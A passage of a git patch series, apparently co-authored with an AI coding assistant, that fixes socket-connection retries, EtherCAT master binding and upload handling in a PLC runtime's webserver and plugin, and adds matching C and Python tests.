2360096f699f367ef89415cabf3b3c8b195e25a4 Mon Sep 17 00:00:00 2001 From: Thiago Alves Date: Thu, 24 Sep 2026 22:46:27 -0400 Subject: [PATCH 17/22] fix(webserver): wait for the runtime's socket instead of a fixed 1 s sleep On the SLM-RP4 plc_main needs a little over a second to open its command socket, so every start logged connection errors before the monitor connected. Retry for up to 10 s and report only if it never comes up. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01V8oSX7QRK2xfkLVepyMs58 --- .../runtime/test_runtime_socket_wait.py | 74 +++++++++++++++++++ webserver/runtimemanager.py | 36 +++++++-- webserver/unixclient.py | 3 +- 3 files changed, 104 insertions(+), 9 deletions(-) create mode 100644 tests/pytest/runtime/test_runtime_socket_wait.py diff --git a/tests/pytest/runtime/test_runtime_socket_wait.py b/tests/pytest/runtime/test_runtime_socket_wait.py new file mode 100644 index 00000000..ecdb47ae --- /dev/null +++ b/tests/pytest/runtime/test_runtime_socket_wait.py @@ -0,0 +1,74 @@ +# SPDX-License-Identifier: MIT +# Copyright (c) 2026 Autonomy® + +"""The webserver waits for a freshly started runtime to open its command socket.""" + +import socket +import tempfile +import threading +import time +from pathlib import Path + +import pytest + +from webserver import runtimemanager +from webserver.runtimemanager import RuntimeManager + + +@pytest.fixture +def run_dir(): + with tempfile.TemporaryDirectory(prefix="rtm", dir="/tmp") as d: + yield Path(d) + + +def _manager(run_dir: Path) -> RuntimeManager: + return RuntimeManager( + runtime_path="/bin/true", + plc_socket=str(run_dir / "plc.sock"), + log_socket=str(run_dir / "log.sock"), + ) + + +def _listen_later(path: str, delay: float) -> threading.Thread: + def serve() -> None: + time.sleep(delay) + srv = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) + srv.bind(path) + srv.listen(1) + conn, _ = srv.accept() + time.sleep(0.5) + conn.close() + srv.close() + + t = threading.Thread(target=serve, daemon=True) + t.start() + return t + + +def test_connects_once_the_socket_appears_without_errors(run_dir: Path, monkeypatch, caplog) -> None: + manager = _manager(run_dir) + monkeypatch.setattr(manager, "is_runtime_alive", lambda: True) + _listen_later(manager.plc_socket, 0.6) + with caplog.at_level("ERROR"): + manager._connect_runtime_socket_when_ready() + assert manager.runtime_socket.is_connected() + assert not [r for r in caplog.records if r.levelname == "ERROR"] + manager.runtime_socket.close() + + +def test_reports_once_when_the_runtime_never_listens(run_dir: Path, monkeypatch, caplog) -> None: + manager = _manager(run_dir) + monkeypatch.setattr(manager, "is_runtime_alive", lambda: True) + monkeypatch.setattr(runtimemanager, "RUNTIME_SOCKET_WAIT_S", 0.5) + with caplog.at_level("ERROR"): + manager._connect_runtime_socket_when_ready() + assert not manager.runtime_socket.is_connected() + assert len([r for r in caplog.records if "Failed to connect to runtime socket" in r.message]) == 1 + + +def test_stops_waiting_when_the_runtime_exits(run_dir: Path, monkeypatch) -> None: + manager = _manager(run_dir) + monkeypatch.setattr(manager, "is_runtime_alive", lambda: False) + started = time.monotonic() + manager._connect_runtime_socket_when_ready() + assert time.monotonic() - started < 1.0 diff --git a/webserver/runtimemanager.py b/webserver/runtimemanager.py index 919cc14b..d89f5ac0 100644 --- a/webserver/runtimemanager.py +++ b/webserver/runtimemanager.py @@ -37,6 +37,9 @@ # an SLM-RP4) and then tears the program and plugins down. RUNTIME_SHUTDOWN_TIMEOUT_S = 15 +# How long a freshly started runtime gets to open its command socket (a few seconds on an SLM-RP4) +RUNTIME_SOCKET_WAIT_S = 10.0 + class RuntimeManager: def __init__(self, runtime_path, plc_socket, log_socket, print_debug=False): @@ -88,13 +91,32 @@ def _safe_start_log_server(self): except Exception as e: logger.error("Failed to start log server (unexpected): %s", e) - def _safe_connect_runtime_socket(self): + def _safe_connect_runtime_socket(self, report: bool = True) -> bool: try: self.runtime_socket.connect() except (FileNotFoundError, OSError, socket.error) as e: - logger.error("Failed to connect to runtime socket: %s", e) + if report: + logger.error("Failed to connect to runtime socket: %s", e) + return False except Exception as e: logger.error("Failed to connect to runtime socket (unexpected): %s", e) + return False + if not self.runtime_socket.is_connected(): + if report: + logger.error("Failed to connect to runtime socket %s", self.plc_socket) + return False + return True + + def _connect_runtime_socket_when_ready(self) -> None: + """Connect to a runtime that was just started, waiting while it opens its socket.""" + deadline = time.monotonic() + RUNTIME_SOCKET_WAIT_S + while time.monotonic() < deadline: + if self._safe_connect_runtime_socket(report=False): + return + if not self.is_runtime_alive(): + break + time.sleep(0.2) + self._safe_connect_runtime_socket() def _safe_stop_log_server(self): try: @@ -156,8 +178,7 @@ def start(self): except (OSError, subprocess.SubprocessError) as e: logger.error("Failed to start PLC runtime process: %s", e) self.process = None - time.sleep(1) # Give time to start - self._safe_connect_runtime_socket() + self._connect_runtime_socket_when_ready() # Start monitor thread if not self.monitor_thread.is_alive(): @@ -191,8 +212,7 @@ def _start_runtime_process(self, safe_mode=False): except (OSError, subprocess.SubprocessError) as e: logger.error("Failed to start PLC runtime process: %s", e) self.process = None - time.sleep(1) # Give time to start - self._safe_connect_runtime_socket() + self._connect_runtime_socket_when_ready() def _record_crash_and_check_safe_mode(self): """Record a crash timestamp and check if safe mode should be entered.""" @@ -392,10 +412,10 @@ def send_plugin_command(self, plugin_name: str, command_json: str, timeout: floa # Parse: "PLUGIN_CMD:OK:{json}" or "PLUGIN_CMD:ERROR:{json}" if response.startswith("PLUGIN_CMD:OK:"): - json_str = response[len("PLUGIN_CMD:OK:"):] + json_str = response[len("PLUGIN_CMD:OK:") :] return json.loads(json_str) elif response.startswith("PLUGIN_CMD:ERROR:"): - json_str = response[len("PLUGIN_CMD:ERROR:"):] + json_str = response[len("PLUGIN_CMD:ERROR:") :] return json.loads(json_str) else: return {"error": f"Unexpected response: {response[:200]}"} diff --git a/webserver/unixclient.py b/webserver/unixclient.py index 8089a448..dbee5316 100644 --- a/webserver/unixclient.py +++ b/webserver/unixclient.py @@ -43,7 +43,8 @@ def connect(self): self.sock = sock logger.debug("Connected to server socket %s", self.socket_path) except Exception as e: - logger.error("Failed to connect: %s", e) + # The caller decides whether a failure is worth reporting (plc_main may still be booting) + logger.debug("Failed to connect: %s", e) if sock is not None: try: sock.close() From 560f83b57f1664f21b726d3f5ab954bb835cf19f Mon Sep 17 00:00:00 2001 From: Thiago Alves Date: Fri, 25 Sep 2026 14:31:16 -0400 Subject: [PATCH 18/22] fix(ethercat): retry the first EtherDOG link and bind the masters that run start_loop brought the link up once and returned -1 on failure, before the relay thread (the only retry loop) existed; nothing called it again, so a PLC that started before EtherDOG listened kept EtherCAT off until a manual restart. The relay now does the first link_up too. A mapped master that EtherDOG reports as not operational is left unbound with a warning instead of failing every master; the bind fails only when none is operational. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01V8oSX7QRK2xfkLVepyMs58 --- .../plugins/native/ethercat/ethercat_iomap.c | 8 ++- .../plugins/native/ethercat/ethercat_iomap.h | 9 ++- .../plugins/native/ethercat/ethercat_plugin.c | 33 ++++++----- tests/test_ethercat_iomap.c | 55 +++++++++++++++++++ tests/test_ethercat_relay.c | 38 +++++++++++-- 5 files changed, 118 insertions(+), 25 deletions(-) diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_iomap.c b/core/src/drivers/plugins/native/ethercat/ethercat_iomap.c index b8bf9ab4..7675d1f6 100644 --- a/core/src/drivers/plugins/native/ethercat/ethercat_iomap.c +++ b/core/src/drivers/plugins/native/ethercat/ethercat_iomap.c @@ -301,8 +301,8 @@ int ecat_iomap_bind(const ecat_iomap_t *map, const cJSON *layout, plugin_runtime return -1; } if (!cJSON_IsTrue(ready)) { - snprintf(err, err_size, "master '%s' is not operational", mm->name); - return -1; + snprintf(out->not_ready[out->not_ready_count++], ECAT_IOMAP_NAME_LEN, "%s", mm->name); + continue; } ecat_bound_master_t *bm = &out->masters[idx->valueint]; @@ -376,6 +376,10 @@ int ecat_iomap_bind(const ecat_iomap_t *map, const cJSON *layout, plugin_runtime } } } + if (map->master_count > 0 && out->not_ready_count == map->master_count) { + snprintf(err, err_size, "no mapped master is operational (first: '%s')", out->not_ready[0]); + return -1; + } return 0; } diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_iomap.h b/core/src/drivers/plugins/native/ethercat/ethercat_iomap.h index cdde5a4c..6bbd0004 100644 --- a/core/src/drivers/plugins/native/ethercat/ethercat_iomap.h +++ b/core/src/drivers/plugins/native/ethercat/ethercat_iomap.h @@ -86,6 +86,9 @@ typedef struct { typedef struct { ecat_bound_master_t masters[ECAT_IOMAP_MAX_MASTERS]; + /* Mapped masters EtherDOG reports as not operational: left unbound */ + char not_ready[ECAT_IOMAP_MAX_MASTERS][ECAT_IOMAP_NAME_LEN]; + int not_ready_count; } ecat_bound_map_t; /** Load and validate the mapping file. Returns 0, or -1 with @p err naming the problem. */ @@ -96,9 +99,11 @@ int ecat_iomap_load(const char *path, ecat_iomap_t *map, char *err, size_t err_s * * Every mapped entry must exist in the layout with a matching direction and width; any * mismatch fails the whole bind with @p err naming the entry. Entries whose PLC variable is - * not declared in the program are skipped, as the in-process plugin did. + * not declared in the program are skipped, as the in-process plugin did. A mapped master that + * EtherDOG reports as not operational is left unbound and listed in @p out->not_ready; the + * others are bound. * - * @return 0 on success, -1 on failure. + * @return 0 on success, -1 on failure (including when no mapped master is operational). */ int ecat_iomap_bind(const ecat_iomap_t *map, const cJSON *layout, plugin_runtime_args_t *args, ecat_bound_map_t *out, char *err, size_t err_size); diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c b/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c index 0fb85dc1..17e6d7e8 100644 --- a/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c +++ b/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c @@ -174,6 +174,11 @@ static int link_up(char *err, size_t err_size) if (ecat_iomap_bind(&g_map, layout, &g_args, &g_bound, err, err_size) != 0) goto fail; warn_unmapped_masters(layout); + for (int i = 0; i < g_bound.not_ready_count; i++) + plugin_logger_warn(&g_logger, + "EtherCAT master '%s' is not operational; its I/O stays off until the " + "bus restarts", + g_bound.not_ready[i]); cJSON_Delete(layout); layout = NULL; free(resp); @@ -256,17 +261,26 @@ static void *relay_thread(void *arg) uint8_t outputs[EDL_MAX_PAYLOAD]; int silent_ms = 0; char err[512]; + char last_err[512] = ""; bool reported = false; while (atomic_load(&g_running)) { if (!g_linked) { - if (link_up(err, sizeof(err)) != 0) { - if (!reported) - plugin_logger_warn(&g_logger, "EtherDOG link down, retrying: %s", err); + int rc = link_up(err, sizeof(err)); + if (rc != 0) { + /* Each distinct reason once */ + if (strcmp(err, last_err) != 0) { + if (rc == EDL_DISABLED) + plugin_logger_warn(&g_logger, "EtherCAT disabled: %s", err); + else + plugin_logger_warn(&g_logger, "EtherDOG link down, retrying: %s", err); + snprintf(last_err, sizeof(last_err), "%s", err); + } reported = true; sleep_ms(RECONNECT_BACKOFF_MS); continue; } + last_err[0] = '\0'; plugin_logger_info(&g_logger, "EtherDOG link %s", reported ? "restored" : "up"); reported = false; silent_ms = 0; @@ -362,22 +376,11 @@ int start_loop(void) return -1; } - char err[512]; - int rc = link_up(err, sizeof(err)); - if (rc == EDL_DISABLED) { - plugin_logger_warn(&g_logger, "%s", err); - return 0; - } - if (rc != 0) { - plugin_logger_error(&g_logger, "EtherCAT start failed: %s", err); - return -1; - } - + /* The relay brings the link up and retries until EtherDOG is ready */ atomic_store(&g_running, true); if (pthread_create(&g_relay, NULL, relay_thread, NULL) != 0) { plugin_logger_error(&g_logger, "cannot create relay thread: %s", strerror(errno)); atomic_store(&g_running, false); - link_down(true); return -1; } g_relay_started = true; diff --git a/tests/test_ethercat_iomap.c b/tests/test_ethercat_iomap.c index 33764480..b679a435 100644 --- a/tests/test_ethercat_iomap.c +++ b/tests/test_ethercat_iomap.c @@ -199,6 +199,61 @@ void test_bind_fails_when_master_not_running(void) TEST_ASSERT_NOT_NULL(strstr(err, "other")); } +/* m0 operational, m1 not */ +static const char *TWO_MASTER_LAYOUT = + "{\"status\":\"success\",\"masters\":[" + "{\"index\":0,\"name\":\"m0\",\"ready\":true,\"output_bytes\":1,\"input_bytes\":1," + "\"entries\":[{\"slave\":1,\"pdo\":\"0x1a00\",\"index\":\"0x6000\",\"subindex\":1," + "\"direction\":\"input\",\"bit_offset\":0,\"bit_length\":1,\"data_type\":\"BOOL\"," + "\"name\":\"In1\"}]}," + "{\"index\":1,\"name\":\"m1\",\"ready\":false,\"output_bytes\":0,\"input_bytes\":0," + "\"entries\":[]}]}"; + +static int bind_two_masters(const char *m0_entries, char *err, size_t err_size) +{ + FILE *fp = fopen(TMPFILE, "w"); + TEST_ASSERT_NOT_NULL(fp); + fprintf(fp, + "{\"version\":1,\"masters\":[{\"name\":\"m0\",\"entries\":[%s]}," + "{\"name\":\"m1\",\"entries\":[{\"slave\":1,\"index\":\"0x6000\",\"subindex\":1," + "\"iec_location\":\"%%IX2.0\"}]}]}", + m0_entries); + fclose(fp); + TEST_ASSERT_EQUAL_INT(0, ecat_iomap_load(TMPFILE, &map, err, err_size)); + cJSON *layout = cJSON_Parse(TWO_MASTER_LAYOUT); + TEST_ASSERT_NOT_NULL(layout); + int rc = ecat_iomap_bind(&map, layout, &args, &bound, err, err_size); + cJSON_Delete(layout); + return rc; +} + +void test_bind_skips_a_master_that_is_not_operational(void) +{ + char err[256] = ""; + int rc = bind_two_masters( + "{\"slave\":1,\"index\":\"0x6000\",\"subindex\":1,\"iec_location\":\"%IX0.0\"}", err, + sizeof(err)); + TEST_ASSERT_EQUAL_INT_MESSAGE(0, rc, err); + TEST_ASSERT_TRUE(bound.masters[0].active); + TEST_ASSERT_EQUAL_INT(1, bound.masters[0].input_count); + TEST_ASSERT_FALSE(bound.masters[1].active); + TEST_ASSERT_EQUAL_INT(1, bound.not_ready_count); + TEST_ASSERT_EQUAL_STRING("m1", bound.not_ready[0]); +} + +void test_bind_fails_when_no_master_is_operational(void) +{ + char err[256] = ""; + FILE *fp = fopen(TMPFILE, "w"); + fputs("{\"version\":1,\"masters\":[{\"name\":\"m1\",\"entries\":[]}]}", fp); + fclose(fp); + TEST_ASSERT_EQUAL_INT(0, ecat_iomap_load(TMPFILE, &map, err, sizeof(err))); + cJSON *layout = cJSON_Parse(TWO_MASTER_LAYOUT); + TEST_ASSERT_EQUAL_INT(-1, ecat_iomap_bind(&map, layout, &args, &bound, err, sizeof(err))); + cJSON_Delete(layout); + TEST_ASSERT_NOT_NULL(strstr(err, "no mapped master is operational")); +} + /* --- per-cycle copies --------------------------------------------------------------------- */ void test_collect_outputs_packs_bits_and_words(void) diff --git a/tests/test_ethercat_relay.c b/tests/test_ethercat_relay.c index 2d577a23..7729f09e 100644 --- a/tests/test_ethercat_relay.c +++ b/tests/test_ethercat_relay.c @@ -294,9 +294,9 @@ void test_start_configures_starts_and_publishes_inputs(void) { TEST_ASSERT_EQUAL_INT(0, init(&args)); TEST_ASSERT_EQUAL_INT(0, start_loop()); + TEST_ASSERT_TRUE(wait_for(&input_bit_writes, 3, 2000)); TEST_ASSERT_EQUAL_INT(1, atomic_load(&n_configure)); TEST_ASSERT_EQUAL_INT(1, atomic_load(&n_start)); - TEST_ASSERT_TRUE(wait_for(&input_bit_writes, 3, 2000)); double t0 = now_s(); stop_loop(); @@ -322,16 +322,42 @@ void test_relay_reconnects_and_warns_when_etherdog_goes_quiet(void) pthread_mutex_unlock(&warn_lock); } -void test_start_without_etherdog_fails_cleanly(void) +static void listen_control(void) +{ + struct sockaddr_un a; + memset(&a, 0, sizeof(a)); + a.sun_family = AF_UNIX; + snprintf(a.sun_path, sizeof(a.sun_path), "%s", ctl_path); + listen_fd = socket(AF_UNIX, SOCK_STREAM, 0); + TEST_ASSERT_EQUAL_INT(0, bind(listen_fd, (struct sockaddr *)&a, sizeof(a))); + TEST_ASSERT_EQUAL_INT(0, listen(listen_fd, 4)); + atomic_store(&serving, true); + pthread_create(&ctl_thread, NULL, serve_control, NULL); +} + +void test_start_before_etherdog_is_ready_retries_until_it_is(void) { + /* No control socket yet: EtherDOG is still starting */ atomic_store(&serving, false); pthread_join(ctl_thread, NULL); close(listen_fd); - listen_fd = socket(AF_UNIX, SOCK_STREAM, 0); /* tearDown closes it */ unlink(ctl_path); - atomic_store(&serving, true); - pthread_create(&ctl_thread, NULL, serve_control, NULL); TEST_ASSERT_EQUAL_INT(0, init(&args)); - TEST_ASSERT_EQUAL_INT(-1, start_loop()); + TEST_ASSERT_EQUAL_INT(0, start_loop()); + usleep(300 * 1000); + TEST_ASSERT_EQUAL_INT(0, atomic_load(&n_configure)); + pthread_mutex_lock(&warn_lock); + TEST_ASSERT_NOT_NULL(strstr(warnings, "link down, retrying")); + pthread_mutex_unlock(&warn_lock); + + /* feed_thread exited with serving=false; restart it with the control socket */ + pthread_join(feed_thread, NULL); + listen_control(); + pthread_create(&feed_thread, NULL, feed_inputs, NULL); + + TEST_ASSERT_TRUE(wait_for(&n_start, 1, 3000)); + TEST_ASSERT_TRUE(wait_for(&input_bit_writes, 3, 2000)); + stop_loop(); + TEST_ASSERT_EQUAL_INT(1, atomic_load(&n_stop)); } From c1f4bb088d983c877e9e7163954763fdff458b68 Mon Sep 17 00:00:00 2001 From: Thiago Alves Date: Fri, 25 Sep 2026 14:31:16 -0400 Subject: [PATCH 19/22] fix(webserver): stop a running PLC before processing an upload The Editor stops the PLC before uploading, but other clients may not. The old program kept running through the compile, and its EtherCAT relay restarted the bus with the newly staged configuration. The upload now stops the PLC first and is cancelled if it does not stop. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01V8oSX7QRK2xfkLVepyMs58 --- tests/pytest/restapi/test_ethercat_upload.py | 99 ++++++++++++++++++-- webserver/app.py | 16 ++++ webserver/plcapp_management.py | 21 +++++ 3 files changed, 129 insertions(+), 7 deletions(-) diff --git a/tests/pytest/restapi/test_ethercat_upload.py b/tests/pytest/restapi/test_ethercat_upload.py index fad3cd57..be9aa77a 100644 --- a/tests/pytest/restapi/test_ethercat_upload.py +++ b/tests/pytest/restapi/test_ethercat_upload.py @@ -39,7 +39,9 @@ def busconfig_calls(monkeypatch): def test_legacy_ethercat_upload_is_refused_with_versions(busconfig_calls) -> None: legacy = json.dumps([{"name": "m0", "protocol": "ETHERCAT", "config": {}}]) - result = _upload(_program_zip({"program.st": "PROGRAM p END_PROGRAM", "conf/ethercat.json": legacy})) + result = _upload( + _program_zip({"program.st": "PROGRAM p END_PROGRAM", "conf/ethercat.json": legacy}) + ) message = result["UploadFileFail"] assert "conf/ethercat.json" in message @@ -48,14 +50,97 @@ def test_legacy_ethercat_upload_is_refused_with_versions(busconfig_calls) -> Non assert busconfig_calls == [] -def test_empty_legacy_file_is_not_refused(busconfig_calls, monkeypatch) -> None: +def test_empty_legacy_file_is_not_refused(busconfig_calls, monkeypatch, quiet_upload) -> None: """Editors before the split always wrote an empty ethercat.json; that alone is fine.""" from webserver import app as app_module - monkeypatch.setattr(app_module, "safe_extract", lambda *a, **k: None) - monkeypatch.setattr(app_module, "apply_vpp_plugin_conf", lambda *a, **k: None) - monkeypatch.setattr(app_module, "apply_retain_conf", lambda *a, **k: None) - monkeypatch.setattr(app_module, "update_plugin_configurations", lambda *a, **k: None) - result = _upload(_program_zip({"program.st": "PROGRAM p END_PROGRAM", "conf/ethercat.json": ""})) + runtime = _FakeRuntime(stops_on_request=True) + runtime.state = "STOPPED" + monkeypatch.setattr(app_module, "runtime_manager", runtime) + result = _upload( + _program_zip({"program.st": "PROGRAM p END_PROGRAM", "conf/ethercat.json": ""}) + ) assert "conf/ethercat.json" not in str(result.get("UploadFileFail", "")) + + +class _FakeRuntime: + """Answers STATUS from a script; records the commands it receives.""" + + def __init__(self, stops_on_request: bool) -> None: + self.state = "RUNNING" + self.stops_on_request = stops_on_request + self.calls: list[str] = [] + + def status_plc(self) -> str: + return f"STATUS:{self.state}\n" + + def stop_plc(self) -> str: + self.calls.append("stop") + if self.stops_on_request: + self.state = "STOPPED" + return "OK\n" + + +@pytest.fixture +def quiet_upload(monkeypatch): + """Everything past the stop check that touches the device is a no-op.""" + from webserver import app as app_module + + for name in ( + "safe_extract", + "apply_vpp_plugin_conf", + "apply_retain_conf", + "update_plugin_configurations", + "run_compile", + ): + monkeypatch.setattr(app_module, name, lambda *a, **k: None) + monkeypatch.setattr(app_module, "PLC_STOP_TIMEOUT_S", 0.3) + monkeypatch.setattr(app_module.build_state, "status", app_module.BuildStatus.SUCCESS) + + +def test_upload_stops_a_running_plc_before_staging(monkeypatch, quiet_upload) -> None: + from webserver import app as app_module + + runtime = _FakeRuntime(stops_on_request=True) + monkeypatch.setattr(app_module, "runtime_manager", runtime) + monkeypatch.setattr( + app_module.etherdog_manager, + "apply_busconfig", + lambda _path: runtime.calls.append("busconfig"), + ) + + result = _upload(_program_zip({"program.st": "PROGRAM p END_PROGRAM"})) + + assert result["UploadFileFail"] == "" + assert runtime.calls == ["stop", "busconfig"] + + +def test_upload_is_cancelled_when_the_plc_does_not_stop( + monkeypatch, quiet_upload, busconfig_calls +) -> None: + from webserver import app as app_module + + runtime = _FakeRuntime(stops_on_request=False) + monkeypatch.setattr(app_module, "runtime_manager", runtime) + + result = _upload(_program_zip({"program.st": "PROGRAM p END_PROGRAM"})) + + assert "could not be stopped" in result["UploadFileFail"] + assert result["CompilationStatus"] == "FAILED" + assert busconfig_calls == [] + + +def test_upload_with_the_plc_stopped_sends_no_stop( + monkeypatch, quiet_upload, busconfig_calls +) -> None: + from webserver import app as app_module + + runtime = _FakeRuntime(stops_on_request=True) + runtime.state = "STOPPED" + monkeypatch.setattr(app_module, "runtime_manager", runtime) + + result = _upload(_program_zip({"program.st": "PROGRAM p END_PROGRAM"})) + + assert result["UploadFileFail"] == "" + assert runtime.calls == [] diff --git a/webserver/app.py b/webserver/app.py index bc852dbf..9e67d89d 100644 --- a/webserver/app.py +++ b/webserver/app.py @@ -43,6 +43,7 @@ apply_retain_conf, apply_vpp_plugin_conf, build_state, + ensure_plc_stopped, run_compile, safe_extract, update_plugin_configurations, @@ -343,6 +344,9 @@ def stage_project_snapshot() -> str: ETHERDOG_MIN_RUNTIME_VERSION = "4.3.0" ETHERDOG_MIN_EDITOR_VERSION = "4.3.2" +# How long an upload waits for a running PLC to stop +PLC_STOP_TIMEOUT_S = 30.0 + def _upload_has_legacy_ethercat(zip_file, valid_files) -> bool: """True when the upload's conf/ethercat.json (pre-split format) describes EtherCAT masters.""" @@ -416,6 +420,18 @@ def handle_upload_file(data: dict) -> dict: "CompilationStatus": build_state.status.name, } + # The Editor stops the PLC before uploading; other clients may not. Nothing below may + # run beside the old program: the EtherCAT bus configuration is staged next. + stopped, was_running = ensure_plc_stopped(runtime_manager, timeout_s=PLC_STOP_TIMEOUT_S) + if not stopped: + build_state.status = BuildStatus.FAILED + return { + "UploadFileFail": "The running PLC could not be stopped; upload cancelled", + "CompilationStatus": build_state.status.name, + } + if was_running: + build_state.log("[WARNING] The PLC was running; stopped it before the upload\n") + # Point of no return: past here the program on the device is being # replaced, so the stored project snapshot must go with it. Clearing # here rather than on arrival means a rejected upload (bad zip, too diff --git a/webserver/plcapp_management.py b/webserver/plcapp_management.py index 1b58e351..87df8270 100644 --- a/webserver/plcapp_management.py +++ b/webserver/plcapp_management.py @@ -284,6 +284,27 @@ def _wait_for_plc_idle(runtime_manager: RuntimeManager, timeout_s: float) -> boo return False +def ensure_plc_stopped(runtime_manager: RuntimeManager, timeout_s: float) -> tuple[bool, bool]: + """Stop the PLC if it is running and wait until it has stopped. + + Returns (stopped, was_running). stopped is False when the PLC still runs or is still in a + transition after timeout_s. A runtime that cannot be reached counts as stopped: no + program runs. + """ + if not _wait_for_plc_idle(runtime_manager, timeout_s): + return False, False + if "RUNNING" not in (runtime_manager.status_plc() or "").upper(): + return True, False + runtime_manager.stop_plc() + deadline = time.monotonic() + timeout_s + while time.monotonic() < deadline: + resp = (runtime_manager.status_plc() or "").upper() + if "RUNNING" not in resp and "TRANSITIONING" not in resp: + return True, True + time.sleep(0.1) + return False, True + + def validate_vpp_plugins_conf(conf_path: str, runtime_root: str, vpp_build_dir: str) -> tuple[bool, str]: """Containment check for an upload-supplied ``vpp_plugins.conf``. From d9b98403acd9880d954723d6e6d7bae6db3a0238 Mon Sep 17 00:00:00 2001 From: Thiago Alves Date: Fri, 25 Sep 2026 14:31:16 -0400 Subject: [PATCH 20/22] test(runtime): count only log records about the test's own socket The app's module-level runtime manager retries plc_main in the background, and its connect errors landed in these tests' caplog depending on timing. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01V8oSX7QRK2xfkLVepyMs58 --- tests/pytest/runtime/test_runtime_socket_wait.py | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/tests/pytest/runtime/test_runtime_socket_wait.py b/tests/pytest/runtime/test_runtime_socket_wait.py index ecdb47ae..482b9eb5 100644 --- a/tests/pytest/runtime/test_runtime_socket_wait.py +++ b/tests/pytest/runtime/test_runtime_socket_wait.py @@ -45,6 +45,15 @@ def serve() -> None: return t +def _errors_about(caplog, run_dir: Path) -> list[str]: + """ERROR records about this test's socket; the app's own runtime manager logs too.""" + return [ + r.getMessage() + for r in caplog.records + if r.levelname == "ERROR" and str(run_dir) in r.getMessage() + ] + + def test_connects_once_the_socket_appears_without_errors(run_dir: Path, monkeypatch, caplog) -> None: manager = _manager(run_dir) monkeypatch.setattr(manager, "is_runtime_alive", lambda: True) @@ -52,7 +61,7 @@ def test_connects_once_the_socket_appears_without_errors(run_dir: Path, monkeypa with caplog.at_level("ERROR"): manager._connect_runtime_socket_when_ready() assert manager.runtime_socket.is_connected() - assert not [r for r in caplog.records if r.levelname == "ERROR"] + assert not _errors_about(caplog, run_dir) manager.runtime_socket.close() @@ -63,7 +72,8 @@ def test_reports_once_when_the_runtime_never_listens(run_dir: Path, monkeypatch, with caplog.at_level("ERROR"): manager._connect_runtime_socket_when_ready() assert not manager.runtime_socket.is_connected() - assert len([r for r in caplog.records if "Failed to connect to runtime socket" in r.message]) == 1 + failures = _errors_about(caplog, run_dir) + assert len(failures) == 1 and "Failed to connect to runtime socket" in failures[0] def test_stops_waiting_when_the_runtime_exits(run_dir: Path, monkeypatch) -> None: From b032da25ffe40c24f2fd07736dfbe06396978bdf Mon Sep 17 00:00:00 2001 From: Thiago Alves Date: Mon, 5 Oct 2026 19:30:48 -0400 Subject: [PATCH 21/22] fix(ethercat): address the review on the EtherDOG client and supervisor Plugin: - reject a layout whose process image exceeds one data frame (4096 bytes) or has no size; clamp output collection to the frame buffer - reject a process data entry or an IEC location mapped twice, and a layout that lists one entry in several PDOs - a mapping that cannot bind stops the bus and requests a PLC stop instead of retrying every second - time silence per mapped master; malformed datagrams and unmapped masters no longer affect it - cap the relay priority at 98 and run link setup at SCHED_OTHER - log pthread errors from their return codes Webserver: - EtherDOG errors reach clients as fixed messages per failure kind; the detail is logged - one upload at a time - start() does not start a second supervisor; stop() during the leftover cleanup prevents a later spawn Co-Authored-By: Claude Opus 5.5 (1M context) --- .../plugins/native/ethercat/ethercat_iomap.c | 106 ++++++++++-- .../plugins/native/ethercat/ethercat_iomap.h | 7 + .../plugins/native/ethercat/ethercat_plugin.c | 121 +++++++++++--- docs/ETHERCAT.md | 9 +- .../pytest/discovery/test_etherdog_manager.py | 92 +++++++++++ tests/pytest/restapi/test_ethercat_upload.py | 12 ++ tests/test_ethercat_iomap.c | 114 ++++++++++++- tests/test_ethercat_relay.c | 152 +++++++++++++++++- webserver/app.py | 17 ++ webserver/etherdog_manager.py | 147 +++++++++++++---- 10 files changed, 688 insertions(+), 89 deletions(-) diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_iomap.c b/core/src/drivers/plugins/native/ethercat/ethercat_iomap.c index 7675d1f6..8ca7c40f 100644 --- a/core/src/drivers/plugins/native/ethercat/ethercat_iomap.c +++ b/core/src/drivers/plugins/native/ethercat/ethercat_iomap.c @@ -7,6 +7,7 @@ */ #include "ethercat_iomap.h" +#include "etherdog_link.h" #include #include @@ -138,6 +139,45 @@ static int parse_hex16(const cJSON *item, uint16_t *out) return 0; } +static bool same_location(const iec_location_t *a, const iec_location_t *b) +{ + return a->direction == b->direction && a->size == b->size && a->byte_index == b->byte_index && + a->bit_index == b->bit_index; +} + +/* An entry may not repeat a key of its master, nor a location used anywhere in the mapping. */ +static int check_duplicates(const ecat_iomap_t *map, const ecat_iomap_master_t *mm, + const ecat_iomap_entry_t *me, const char *path, char *err, + size_t err_size) +{ + for (int k = 0; k < mm->entry_count; k++) { + const ecat_iomap_entry_t *o = &mm->entries[k]; + if (o->slave == me->slave && o->index == me->index && o->subindex == me->subindex) { + snprintf(err, err_size, + "%s: master '%s': process data entry (slave %d, 0x%04X:%u) is mapped twice: " + "%s and %s", + path, mm->name, me->slave, me->index, me->subindex, o->iec_location, + me->iec_location); + return -1; + } + } + for (int mi = 0; mi < map->master_count; mi++) { + const ecat_iomap_master_t *om = &map->masters[mi]; + for (int k = 0; k < om->entry_count; k++) { + const ecat_iomap_entry_t *o = &om->entries[k]; + if (same_location(&o->loc, &me->loc)) { + snprintf(err, err_size, + "%s: %s is mapped twice: master '%s' slave %d 0x%04X:%u and master '%s' " + "slave %d 0x%04X:%u", + path, me->iec_location, om->name, o->slave, o->index, o->subindex, + mm->name, me->slave, me->index, me->subindex); + return -1; + } + } + } + return 0; +} + int ecat_iomap_load(const char *path, ecat_iomap_t *map, char *err, size_t err_size) { memset(map, 0, sizeof(*map)); @@ -215,6 +255,8 @@ int ecat_iomap_load(const char *path, ecat_iomap_t *map, char *err, size_t err_s path, me->iec_location, me->slave, me->index, me->subindex); goto done; } + if 